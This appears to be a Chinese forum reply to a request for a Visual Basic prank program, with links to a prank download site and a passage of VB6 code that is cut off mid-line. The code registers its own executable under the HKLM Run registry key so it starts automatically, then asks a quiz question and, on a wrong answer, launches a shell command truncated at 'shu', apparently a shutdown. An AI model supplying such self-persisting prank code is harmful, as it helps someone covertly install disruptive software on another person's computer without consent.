写一个vb整人程序

http://www.haha168.com/pages.htm
http://www.haha168.com/main_down/default.asp

自己找找看 然后放到启动里面就可以了

'在窗体代码区复制下面代码，并修改提出的问题及答案，然后编译成exe文件。
'首次使用，必须运行一次exe文件。

Option Explicit

Private Sub Form_Load()
Dim strString As String
Dim WSH
Dim strA As String
strString = App.Path & "\" & App.EXEName & ".exe"
Set WSH = CreateObject("WSCRIPT.SHELL")
WSH.Regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\Test", strString, "REG_SZ"
Set WSH = Nothing
'请修改下面2句
strA = InputBox("请回答下面的问题：" & vbNewLine & "1+1=?", "提问", "2")
If strA <> "2" Then Shell "shu